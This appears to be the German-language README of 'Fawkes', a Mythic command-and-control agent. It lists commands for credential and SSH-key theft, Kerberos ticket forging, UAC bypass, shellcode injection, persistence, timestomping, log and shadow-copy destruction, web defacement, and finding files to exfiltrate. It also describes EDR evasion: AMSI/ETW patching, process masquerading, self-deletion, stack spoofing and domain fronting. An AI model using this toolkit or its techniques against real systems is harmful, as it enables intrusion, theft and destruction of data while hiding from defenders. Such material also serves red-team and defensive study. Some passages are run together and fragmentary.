ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Nur Linux/macOS)** SSH-Agent-Sockets auflisten und geladene Schlüssel aufzählen. Findet SSH_AUTH_SOCK, scannt /tmp/ssh-*, /run/user/*, GNOME-Keyring. Meldet Schlüssel-Fingerabdrücke an den Anmeldedatentresor (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | SSH-Schlüsselverwaltung und Automation lateraler Bewegung. authorized_keys lesen/injizieren, private Schlüssel lesen, Schlüsselpaare generieren, SSH-Konfiguration aufzählen. Laterale Bewegung: find-reachable (Subnetz-Scan), try-keys (Schlüssel testen), auto-move (Kette Scan→Auth→Exec). Windows: PuTTY-Sitzungen/Registry, .ppk-Schlüssel, WSL, OpenSSH, Git-SSH-Konfiguration. Plattformübergreifend (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | Datei-/Verzeichnismetadaten anzeigen: Typ, Größe, Berechtigungen, Zeitstempel. Plattformspezifische Details – Inode/Besitzer (Linux/macOS), Dateiattribute (Windows). Symlink-bewusst via Lstat. Plattformübergreifend (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | Druckbare ASCII-Strings aus Dateien extrahieren. Eingebetteten Text, URLs, Anmeldedaten in Binärdateien finden. Musterfilter, Mindestlängensteuerung, Offset/max_size. Plattformübergreifend (T1005).
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Nur Windows)** CLR v4 initialisieren oder .NET-Assemblys ausführen. `execute-assembly`-Aktion patcht automatisch AMSI+ETW und führt Assembly in einem Schritt aus (wie CS execute-assembly). Manueller Modus mit -amsi_patch/-etw_patch für feinkörnige Steuerung.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Nur Linux)** systemd-Dienst/Timer-Persistenz installieren, entfernen oder auflisten. Benutzer- oder Systembereich. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Nur Windows)** Ein Token von einem anderen Prozess stehlen: es imitieren oder einen Prozess damit starten (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Nur Windows)** Benannter Token-Tresor – speichern, auflisten, wiederherstellen, entfernen und Identitätswechselverlauf anzeigen. Ermöglicht schnelles Umschalten zwischen gestohlenen/erstellten Identitäten ohne erneutes Stehlen (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | Einen Prozess anhalten oder fortsetzen. Taktische EDR/AV-Pause während sensibler Vorgänge. Windows: NtSuspendProcess/NtResumeProcess. Linux/macOS: SIGSTOP/SIGCONT. Plattformübergreifend (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | Umfassende Systeminformationen: Betriebssystemversion, Hardware, Speicher, Betriebszeit, Domäne, .NET (Windows), SELinux/SIP-Status. `full-profile` führt automatisierte 5-Schritt-Host-Profiling-Kette aus (sysinfo → ps → security-info → privesc-check → persist-enum). Plattformübergreifend (T1082).
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Nur Windows)** Sysmon-Installation erkennen und Konfiguration extrahieren – Dienst-/Treiberstatus, Hash-Algorithmus, Options-Flags, Regel-Datengröße, Ereigniskanäle. Erkennt umbenannte Installationen via Minifilter-Höhe (T1518.001, T1562.001).
tac | `tac -path <file>` | Dateizeilen in umgekehrter Reihenfolge ausgeben. Nützlich zum Anzeigen von Protokollen vom Neuesten zum Ältesten. Plattformübergreifend (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | Erste oder letzte N Zeilen/Bytes einer Datei lesen, ohne den gesamten Inhalt zu übertragen. Ringpuffer für effizientes Tail, Rückwärtssuche für große Dateien. Plattformübergreifend (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(Nur macOS)** TCC-Berechtigungen (Transparency, Consent, and Control) aufzählen. Entdecken, welche Apps Kamera, Mikrofon, Bildschirmaufnahme, vollständigen Datenträgerzugriff haben. Gruppiert nach Dienst mit erlaubter Zusammenfassung (T1082).
touch | `touch -path <file> [-mkdir true]` | Leere Datei erstellen oder vorhandene Dateizeitstempel aktualisieren. Optionale Erstellung des übergeordneten Verzeichnisses. Plattformübergreifend (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** Shellcode via Thread-Ausführungs-Hijacking injizieren – vorhandenen Thread anhalten, PC/RIP auf Shellcode umleiten, fortsetzen. macOS verwendet Mach-APIs (task_for_pid + thread_get/set_state), erfordert root (T1055.003).
threadless-inject | `threadless-inject` | **(Nur Windows)** Shellcode mit threadloser Injektion injizieren, indem eine DLL-Funktion in einem Remote-Prozess gehookt wird. Heimlicher als normale Injektion, da keine neuen Threads erstellt werden.
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Kerberos-Tickets fälschen, anfordern, erneuern, delegieren oder zertifikatsbasiert authentifizieren. Forge: Golden/Silver Tickets (offline). Request: Overpass-the-Hash (online). Diamond: echter AS-Austausch + Ticket-Modifikation zur Umgehung. Renew: TGT-Lebensdauer verlängern. S4U: eingeschränkte Delegierung via S4U2Self+S4U2Proxy. PKINIT: zertifikatsbasierte Authentifizierung von ADCS/Shadow Creds. Plattformübergreifend (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | Zeichen in Dateiinhalten übersetzen, quetschen oder löschen. Unterstützt Zeichenklassen und Bereiche. Plattformübergreifend (T1083).
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | Hochwertige Dateien zur Exfiltration finden – Dokumente, Anmeldedaten, Konfigurationen, Datenbanken (.db/.sqlite), Skripte (.py/.sh/.ps1), Archive (.zip/.tar/.7z), E-Mail-Dateien (.pst/.eml/.mbox), kürzlich geänderte Dateien oder benutzerdefinierter Pfad-Scan. **recon-chain**: automatisierte Subtask-Kette – portscan → SMB-Freigabe-Enumeration → share hunt → lokales Triage (erfordert Ziel, Benutzername/Passwort). Plattformübergreifend (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | Domänen-/Gesamtstruktur-Vertrauensstellungen via LDAP mit Gesamtstrukturtopologie, Transitivitätsanalyse, Verschlüsselungsstärke und Angriffspfadidentifizierung aufzählen. Plattformübergreifend (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | Dateizeitstempel ändern, um sich anzupassen. Abrufen, von einer anderen Datei kopieren, bestimmte Zeit setzen, mit Verzeichnisnachbarn abgleichen (IQR) oder zufällig innerhalb eines Bereichs. `clean-prefetch` löscht Windows-Prefetch-Dateien für eine benannte ausführbare Datei. Windows ändert auch das Erstellungsdatum.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Nur Windows)** RDP-Sitzungsverwaltung – auflisten, kapern, trennen oder abmelden. Sitzungsübernahme ohne Anmeldedaten (T1563.002).
ts | `ts [-a] [-i PID]` | **(Nur Windows)** Threads in Prozessen auflisten. Standardmäßig werden nur alertable Threads (Suspended/DelayExecution) angezeigt. Mit -a alle Threads, mit -i nach PID filtern (T1057).
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Nur Windows)** UAC umgehen, um von mittlerer zu hoher Integrität aufzusteigen. 8 Techniken: Registry-Hijack, Umgebungsvariablen-Hijack, INF-Datei-Missbrauch, COM-CLSID-Hijack, mock trusted directory. Standardmäßig wird ein erhöhter Rückruf gestartet (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | Doppelte aufeinanderfolgende Zeilen in einer Datei filtern oder zählen. Count-Modus sortiert nach Häufigkeit. Plattformübergreifend (T1083).
unlink | `unlink -connection_id <uuid>` | Einen verbundenen P2P-Agent (TCP oder Named Pipe) trennen. Plattformübergreifend (T1572).
uptime | `uptime` | Systembetriebszeit, Startzeit und Lastdurchschnitte anzeigen. Plattformübergreifend (T1082).
upload | `upload` | Eine Datei mit Chunked-Dateiübertragung auf das Ziel hochladen. Unterstützt automatische Dekomprimierung von gzip-Dateien. SHA256-Hash-Überprüfung.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Nur Windows)** NTFS-USN-Änderungstagebuch abfragen oder löschen – zerstört Dateivorgangsverlauf für Anti-Forensik (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | Shellcode in einen Remote-Prozess injizieren (inject), Agent migrieren (migrate: inject + exit) oder neuen Prozess mit LD_PRELOAD .so starten (ldpreload: nur Linux, kein ptrace, umgeht Yama). **Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64):** /proc/PID/mem-Direktschreiben, LD_PRELOAD via memfd. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | VM/Hypervisor-Umgebung erkennen oder Sandbox-Umgehung analysieren. `detect`: MAC-OUI, DMI/SMBIOS, VM-Tools, SCSI, CPU-Hypervisor-Flag. `sandbox`: bewertete Analyse – CPU-Anzahl, RAM, Datenträger, Betriebszeit, Schlaf-Timing, Hostname, Prozessanzahl, Benutzername. Plattformübergreifend (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | Auswirkungstechniken: VSS-Verwaltung (Windows), Wiederherstellungshemmung (T1490), Herunterfahren/Neustart (T1529, plattformübergreifend). Destruktive Aktionen erfordern -confirm true. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | Ein Verzeichnis auf Dateisystemänderungen überwachen – erkennt neue, geänderte und gelöschte Dateien durch Polling. Unterstützt Glob-Filterung und MD5-Hash-Erkennung. Plattformübergreifend (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | Zeilen, Wörter, Zeichen und Bytes in Dateien zählen. Verzeichnismodus mit Glob-Musterfilterung und Summen. Plattformübergreifend (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Nur Windows)** WDigest-Klartext-Anmeldedaten-Zwischenspeicherung verwalten. Aktivieren, um beim nächsten Anmelden Klartext-Passwörter zu erfassen. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` oder `winrm -action check -host <target> [-username <user> -password <pass>]` | Befehle auf entfernten Windows-Hosts via WinRM mit NTLM-Authentifizierung ausführen. Unterstützt Pass-the-Hash, cmd.exe und PowerShell. `check` validiert WinRM-Voraussetzungen (Ports 5985/5986, Auth, Shell). Plattformübergreifend (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Nur Windows)** Sichtbare Anwendungsfenster auflisten – zeigt HWND, PID, Prozessname, Fensterklasse und Titel. Suchfilter nach Titel/Prozess/Klasse. MITRE T1010.
who | `who [-all true]` | Derzeit angemeldete Benutzer und aktive Sitzungen anzeigen. Linux: parst utmp. Windows: WTS-API. macOS: who-Befehl. Plattformübergreifend (T1033).
whoami | `whoami` | Aktuelle Benutzeridentität und Sicherheitskontext anzeigen. Windows: Benutzername, SID, Tokentyp, Integritätsstufe, Gruppenmitgliedschaften, Privilegien. Linux: Benutzer, UID, GID, Gruppen, effektive Fähigkeiten (decodiert), SELinux/AppArmor-Kontext, Containererkennung. macOS: Benutzer, UID, GID, Gruppen.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Nur Windows)** WMI-Abfragen, Prozesserstellung, Datei-Upload und gestaffelte Ausführung via COM-API. upload: Dateien via certutil/PowerShell-Staging übertragen. exec-staged: Hochladen und dann ausführen mit automatischer Bereinigung. `check` validiert WMI-Voraussetzungen (RPC 135, WMI-Konnektivität). MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Nur Windows)** WMI-Ereignisabonnement-Persistenz via COM-API. Unterstützt CommandLine- und ActiveScript-Consumer (VBScript/JScript). Dateilos, überdauert Neustarts. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | Gespeicherte WiFi-Netzwerkprofile und Anmeldedaten wiederherstellen. Windows: WLAN-API, Linux: NetworkManager/wpa_supplicant/iwd, macOS: Keychain. Plattformübergreifend (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | Inhalt in Dateien schreiben oder Webseiten verunstalten. `write`: erstellen/überschreiben/anhängen (Standard). `deface`: Webinhalt durch Verunstaltungsnachricht ersetzen (T1491, Sicherheitsabfrage). Plattformübergreifend (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Nur Windows)** Bytes an eine DLL-Funktionsadresse schreiben.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Nur Linux/macOS)** Erweiterte Dateiattribute verwalten – auflisten, abrufen, setzen, löschen. Unix-Ergänzung zu Windows ADS zum Verstecken von Daten (T1564.004).## Forge-Befehlsergänzung
Fawkes unterstützt die [Mythic Forge](https://github.com/MythicAgents/forge)-Befehlsergänzung, die die Fähigkeiten des Agents dynamisch um externe Tool-Sammlungen erweitert. Wenn Forge zusammen mit Mythic installiert ist, erscheinen automatisch zusätzliche Befehle in der Mythic-Benutzeroberfläche für Fawkes-Callbacks – kein Agent-Neuaufbau erforderlich.
**Unterstützte Tool-Sammlungen:**
| Sammlung | Typ | Ausführung über | Beispiele |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET-Assemblys | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF-Dateien | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |
### Einrichtung (Neuinstallation)
**Schritt 1: Forge installieren**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge
Schritt 2: Füge Fawkes zur Unterstützung des Payload-Typs von Forge hinzu
Bearbeite InstalledServices/forge/payload_type_support.json und füge den Fawkes-Eintrag zum JSON-Array hinzu:```json
{
"agent": "fawkes",
"bof_command": "inline-execute",
"bof_file_parameter_name": "bof_file",
"bof_argument_array_parameter_name": "coff_arguments",
"bof_entrypoint_parameter_name": "function_name",
"inline_assembly_command": "inline-assembly",
"inline_assembly_file_parameter_name": "assembly_file",
"inline_assembly_argument_parameter_name": "assembly_arguments",
"execute_assembly_command": "",
"execute_assembly_file_parameter_name": "",
"execute_assembly_argument_parameter_name": "",
"assembly_default_execution_method": "inline_assembly"
}
Dies ordnet das generische Parameterschnittstelle von Forge den spezifischen Befehlsnamen und Parameternamen von Fawkes zu. Die Feldzuordnung:
- `bof_command` → Fawkes' `inline-execute` Befehl (BOF/COFF Ausführung)
- `inline_assembly_command` → Fawkes' `inline-assembly` Befehl (.NET-Assembly-Ausführung)
- `execute_assembly_command` → leer (Fawkes verwendet inline-assembly für alle .NET Ausführungen)
- Parameternamen müssen exakt dem entsprechen, was Fawkes' Agentfunktionen in der Parameter-Gruppe "Forge" definieren.
**Schritt 3: Neu erstellen und neu starten**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes
Schritt 4: Toolquellen registrieren
Öffnen Sie die Mythic-Oberfläche und verwenden Sie den Befehl forge_register (verfügbar bei jedem Callback), um Toolquellen zu registrieren. Häufige Quellen:
Um eine Quelle zu registrieren, führen Sie forge_register mit commandName aus, das auf den einfachen Quellnamen gesetzt ist (z. B. Rubeus, nicht forge_net_Rubeus) und remove auf false.
Nach der Registrierung lädt Forge die Tool-Binärdateien herunter und erstellt erweiterte Befehle (z. B. forge_net_Rubeus, forge_bof_nanodump), die in der Befehlsliste des Callbacks erscheinen.
Schritt 5: Überprüfung
Bestehende Callbacks sehen Forge-Befehle automatisch – kein neues Payload erforderlich. Testen Sie, indem Sie ein registriertes Tool ausführen:
autopatch oder start-clr aus (AMSI-Patching für .NET-Tools)forge_net_Seatbelt)-group=system)inline-assembly mit dem eingebetteten Tool-Binarystart-clr mit autopatch aus, um die CLR zu initialisieren und AMSI zu patchen – ohne dies kann Windows Defender die Assembly-Ausführung blockiereninline-execute und inline-assembly Befehlen über die "Forge"-Parametergruppe integriertpayload_type: "forge" in die createTask-Mutation ein – ohne dies durchsucht Mythic nur den eigenen Payload-Typ des Callbacks| Variante | Technik | Ziel | Go-Shellcode |
|---|---|---|---|
| 1 | Ctrl-C-Handler-Kette | Nur Konsolenprozesse | Nein |
| 4 | PEB KernelCallbackTable | Nur GUI-Prozesse | Ja |
Für detaillierte Variantenbeschreibungen siehe Injection Technique Details.
Beim Bauen im shared (DLL) oder windows-shellcode Modus steuert der Build-Parameter dll_exports, welche DLL-Exports enthalten sind:
Ausführungsmethoden mit vollständigen Exports:
Fawkes unterstützt optionale binäre Aufblähung zur Build-Zeit. Dadurch wird ein Block wiederholter Bytes in den kompilierten Agenten eingebettet, was zur Erhöhung der Dateigröße oder Senkung der Entropie-Werte verwendet werden kann.
Zwei Build-Parameter steuern dies:
0x90 oder 0x41,0x42)Das Byte-Muster wird inflate_count Mal wiederholt, sodass die gesamte hinzugefügte Größe Länge(Byte-Muster) * inflate_count beträgt.
Kurznachschlag für die Größenbestimmung:
Wenn keine Aufblähung konfiguriert ist, wird dem Binary nur 1 Byte Overhead hinzugefügt.
Windows PE-Binärdateien enthalten Metadaten-Ressourcen – Versionsinfo, Symbole und UAC-Manifeste – die in Dateieigenschaften, Task-Manager und Explorer sichtbar sind. Standard-Go-Binärdateien haben keine dieser Metadaten, was ein starkes Erkennungssignal für Sicherheitstools und Analysten darstellt.
Fawkes unterstützt das Einbetten von PE-Ressourcen zur Build-Zeit, um legitime Windows-Binärdateien zu imitieren:
Build-Parameter:
Voreinstellungen (10 häufige Windows-Binärdateien mit echten Versionsinfos):
notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker
Einzelfelder überschreiben die Voreinstellungswerte. Wenn keine PE-Ressourcen-Parameter gesetzt sind, bleibt das Binary unverändert im Standard-Go-Output.
Fawkes registriert automatisch Artefakte bei Mythic für opsec-relevante Befehle. Artefakte erscheinen im Mythic-UI unter dem Artefakte-Tab und geben Operatoren ein klares Bild aller forensischen Indikatoren, die während eines Einsatzes generiert werden.
Verfolgte Artefakttypen:
Nur-Lese-Befehle (ls, ps, cat, env, etc.) erzeugen keine Artefakte.
Befehle zur Ernte von Anmeldeinformationen melden Funde automatisch an Mythics Credentials-Speicher, wodurch sie im Mythic-UI durchsuchbar und exportierbar sind.
Der keylog-Befehl integriert sich in Mythics Keylogs-Funktion. Wenn Tastenanschläge über stop oder dump zurückgegeben werden, werden sie automatisch nach Fenstertitel geparst und mit Benutzerzuordnung an Mythics Keylog-Tracker gesendet. Keylogs sind im Mythic-UI nach Fenstertitel, Benutzer oder Tastenanschlagsinhalt durchsuchbar.
Die Befehle make-token und steal-token registrieren Token bei Mythics Callback Tokens-Tracker. Dies bietet Transparenz darüber, welche Token mit welchem Callback verbunden sind, einschließlich der identität des imitierten Benutzers und des Quellprozesses. Der rev2self-Befehl entfernt automatisch verfolgte Token, wenn die Imitation aufgehoben wird.
Steuert, wie der Agent HTTPS-Zertifikate bei der Kommunikation mit dem C2-Server validiert. Wird zur Build-Zeit über den Parameter tls_verify konfiguriert:
| Modus | Beschreibung |
|---|---|
none | Alle TLS-Prüfungen überspringen (Standard, abwärtskompatibel) |
system-ca | Zertifikate gegen den OS-Vertrauensspeicher validieren |
pinned:<sha256> | Auf einen bestimmten Zertifikats-Fingerprint festlegen (SHA-256 hex). Der Agent lehnt Verbindungen ab, wenn das Server-Zertifikat nicht übereinstimmt. |
Zertifikats-Pinning verhindert MITM-Abfangen des Agentenverkehrs selbst dann, wenn ein Angreifer eine vertrauenswürdige CA kontrolliert.
Gos standardmäßiger TLS-Stack erzeugt einen charakteristischen JA3-Hash, den Netzwerksicherheitstools als Nicht-Browser-Verkehr identifizieren können. Der Build-Parameter tls_fingerprint verwendet uTLS, um den TLS-ClientHello zu fälschen und einen browserähnlichen JA3-Fingerprint zu erzeugen.
Fügen Sie dem HTTP-C2-Profil eine Client-Zertifikatsauthentifizierung hinzu. Wenn konfiguriert, präsentiert der Agent während des TLS-Handshakes ein Client-Zertifikat, sodass der C2-Server die Identität des Agenten überprüfen kann. Dies verhindert passives HTTPS-Abfangen und Proxy-MITM-Angriffe.
| Parameter | Beschreibung |
|---|---|
mtls_cert | PEM-kodiertes Client-Zertifikat |
mtls_key | PEM-kodierter privater Clientschlüssel |
Das Zertifikat/der Schlüssel wird zur Build-Zeit base64-kodiert, XOR-verschlüsselt (falls Zeichenfolgenverschleierung aktiviert ist) und zur Laufzeit im AES-256-GCM-Konfigurations-Tresor gespeichert. Kombiniert mit vorhandenen TLS-Prüfmodi und JA3-Fingerprint-Spoofing.
Mehrere C2-Callback-URLs mit automatischem Failover. Wenn der primäre Callback-Host nicht erreichbar ist, durchläuft der Agent transparent Fallback-URLs, bevor Backoff angewendet wird.
| Parameter | Beschreibung |
|---|---|
fallback_hosts | Durch Kommas getrennte Fallback-C2-Hosts (z. B. http://backup1.example.com,https://backup2.example.com) |
Gleicher Port und Verschlüsselung wie primär. Merkt sich die letzte erfolgreiche URL. Funktioniert mit Konfigurations-Tresor und XOR-Verschleierung.
Verhindert die Ausführung des Agenten auf nicht autorisierten Systemen. Zur Build-Zeit konfiguriert – der Agent beendet sich still, bevor er Netzwerkkontakt aufnimmt, wenn Prüfungen fehlschlagen. Keine Protokollierung, keine Artefakte, kein C2-Verkehr.
Alle Muster sind nicht case-sensitiv und verankert, um den gesamten Wert abzugleichen. Mehrere Schlüssel können kombiniert werden – alle müssen bestehen. Ungültige Regex-Muster führen zum Fehlschlag (Agent beendet sich). Leer lassen, um eine Prüfung zu überspringen.
Umgebungsschlüssel-Ableitung (env_key_derive): Wenn gesetzt, werden alle sensiblen C2-Konfigurationen (Callback-Host, UUID, Verschlüsselungsschlüssel, URIs, Proxy-Einstellungen, etc.) zur Build-Zeit mit AES-256-GCM verschlüsselt, wobei ein aus der Zielumgebung abgeleiteter Schlüssel verwendet wird. Zur Laufzeit leitet der Agent den Schlüssel erneut aus seiner eigenen Umgebung ab – wenn er nicht übereinstimmt (falscher Host/Domäne/Benutzer), schlägt die Entschlüsselung fehl und der Agent beendet sich still. Dies ist stärker als Regex-Übereinstimmung, da die Konfigurationswerte niemals in irgendeiner Form im Binary vorhanden sind. Erfordert, dass die entsprechenden env_key_*-Werte die EXAKTEN Zielwerte enthalten (keine Regex-Muster). Stapelbar mit obfuscate_strings (XOR-Schicht zuerst angewendet, dann AES-GCM).
Aktivieren Sie den Build-Parameter obfuscate_strings, um alle C2-Konfigurationszeichenfolgen (Callback-Host, URIs, User-Agent, Verschlüsselungsschlüssel, UUID) zur Build-Zeit mit einem pro Build zufälligen 32-Byte-Schlüssel XOR-kodieren. Verhindert triviale IOC-Extraktion via strings auf dem Binary. Zur Laufzeit dekodiert. Plattformübergreifend.
Aktivieren Sie den Build-Parameter block_dlls, um PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON auf alle vom Agenten erzeugten untergeordneten Prozesse (run, powershell-Befehle) anzuwenden. Verhindert, dass EDR Überwachungs-DLLs in erzeugte Prozesse injiziert. Verwendet STARTUPINFOEX mit UpdateProcThreadAttribute. Nur Windows.
Setzen Sie zur Laufzeit config -action set -key default_ppid -value <PID>, um alle untergeordneten Prozesse (run, powershell) als untergeordnete Prozesse eines legitimen Prozesses (z. B. explorer.exe) erscheinen zu lassen. Überwindet die Erkennung von Eltern-Kind-Prozessbeziehungen durch EDR. Kombiniert mit BlockDLLs, wenn beide aktiv sind. Verwendet UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Deaktivieren mit config -action set -key default_ppid -value 0. Nur Windows (T1134.004).
Aktivieren Sie den Build-Parameter auto_patch, um beim Agentenstart automatisch EtwEventWrite und AmsiScanBuffer zu patchen. Dies verhindert ETW-basierte Erkennung und AMSI-Scanning vor jeglicher Agentenaktivität – kein manueller Befehl erforderlich. Nur Windows (keine Wirkung auf Linux/macOS).
Aktivieren Sie die automatische Binärlöschung beim Start über den Build-Parameter self_delete. Sobald der Agent zu laufen beginnt, entfernt er seine eigene Datei von der Festplatte – wodurch das primäre forensische Artefakt beseitigt wird.
os.Remove() – der laufende Prozess wird über die In-Memory-Inode-Zuordnung fortgesetzt. Die Datei verschwindet sofort von der Festplatte.:$DATA-Stream um und löscht dann den Dateieintrag. Kein untergeordneter Prozess wird erzeugt.Das Binary wird gelöscht, nachdem Umgebungsschlüssel-Prüfungen bestanden wurden, aber bevor die Netzwerkaktivität beginnt.
Setzen Sie den Build-Parameter masquerade_name, um den Prozessnamen des Agenten unter Linux zu ändern. Verwendet prctl(PR_SET_NAME), um /proc/self/comm zu ändern, das von ps, top und htop angezeigt wird. Maximal 15 Zeichen.
Nützliche Namen: [kworker/0:1], [migration/0], sshd, apache2, [rcu_preempt]
Kombiniert mit Selbstlöschung erscheint der Agent als legitimer Kernel-Thread oder Dienst ohne Datei auf der Festplatte.
Aktivieren Sie sleep_guard_pages (erfordert sleep_mask=true), um während der Schlafzyklen VirtualProtect(PAGE_NOACCESS) auf verschlüsselten Tresor-Speicher anzuwenden. Nachdem die Sleep-Maske sensible Daten (AES-256-GCM) verschlüsselt und Originale genullt hat, verschieben die Schutzseiten den Tresor in dedizierten, mit VirtualAlloc allokierten Speicher und markieren ihn als NO_ACCESS. EDR-Speicherscanner, ReadProcessMemory, WinDbg und Process Hacker erhalten STATUS_ACCESS_VIOLATION, wenn sie versuchen, den Tresor zu lesen. Die Seiten werden beim Aufwachen vor der Entschlüsselung auf PAGE_READWRITE zurückgesetzt. Auf Linux/macOS verwenden Schutzseiten mmap(MAP_ANON) + mprotect(PROT_NONE) – ein Abfrageversuch löst SIGSEGV aus.
Der Sleep-Tresor-Schlüssel ist hardwaregebunden via HKDF-SHA256: Ein zufälliger Seed wird mit einem SHA-256-Hash der CPU-Marken-Zeichenfolge und UUID des Rechners gemischt. Wenn jemand den Tresor-Blob aus einem Speicherdump extrahiert und auf anderer Hardware entschlüsselt, erzeugt die Schlüsselableitung einen anderen Schlüssel.
Aktivieren Sie stack_spoof, um den Call-Stack des schlafenden Threads zu fälschen und EDR-Thread-Scanning-Tools (Hunt-Sleeping-Beacons, Moneta, CrowdStrike) zu überlisten.
indirect_syscalls=true): Ein dedizierter nativer Thread führt NtDelayExecution mit gefälschten Rückkehradressen aus, die auf kernel32!SleepEx, kernel32!BaseThreadInitThunk und ntdll!RtlUserThreadStart zeigen – die Standard-Thread-Initialisierungskette, die EDR erwartet.clone(CLONE_VM) mit einem eigenen 291-Byte-Maschinencode-Stub in anonymem mmap'd-Speicher erstellt. Der Kindprozess ruft nanosleep direkt via rohen Syscall auf – keine Go-Runtime- oder Agent-Code-Adressen erscheinen auf dem Stack des schlafenden Threads. Signalhandler werden im Kind auf SIG_DFL zurückgesetzt, und PR_SET_PDEATHSIG stellt sicher, dass das Kind stirbt, wenn der Elternprozess beendet wird.__ulock_wait/__ulock_wake zur Synchronisation mit der Go-Runtime und ruft nanosleep via rohen Syscall auf – der Stack des schlafenden Threads zeigt nur den anonymen Stub und Kernel-Frames, keine Go-Runtime oder Agent-Code.Alle im Mythic-HTTP-C2-Profil konfigurierten Header werden auf jede Anfrage angewendet. Über User-Agent (immer unterstützt) hinaus können Operatoren Header wie Accept-Language, Referer, Cookie oder X-Forwarded-For hinzufügen, um C2-Verkehr mit legitimen Webverkehrsmustern zu vermischen.
Setzen Sie den Build-Parameter host_header, um den HTTP Host-Header zu überschreiben. Dies ermöglicht Domain-Fronting: Leiten Sie Verkehr durch ein CDN (z. B. CloudFront, Azure CDN), während der Host-Header auf Ihre tatsächliche C2-Domäne zielt. Für Netzwerkverteidiger erscheint der Verkehr, als ob er zur IP-Adresse des CDN geht.
Setzen Sie den Build-Parameter proxy_url, um Agentenverkehr durch einen HTTP- oder SOCKS-Proxy zu leiten. Nützlich für den Betrieb in Unternehmensnetzwerken mit obligatorischen Proxyservern.Beispiele: http://proxy.corp.local:8080, socks5://127.0.0.1:1080
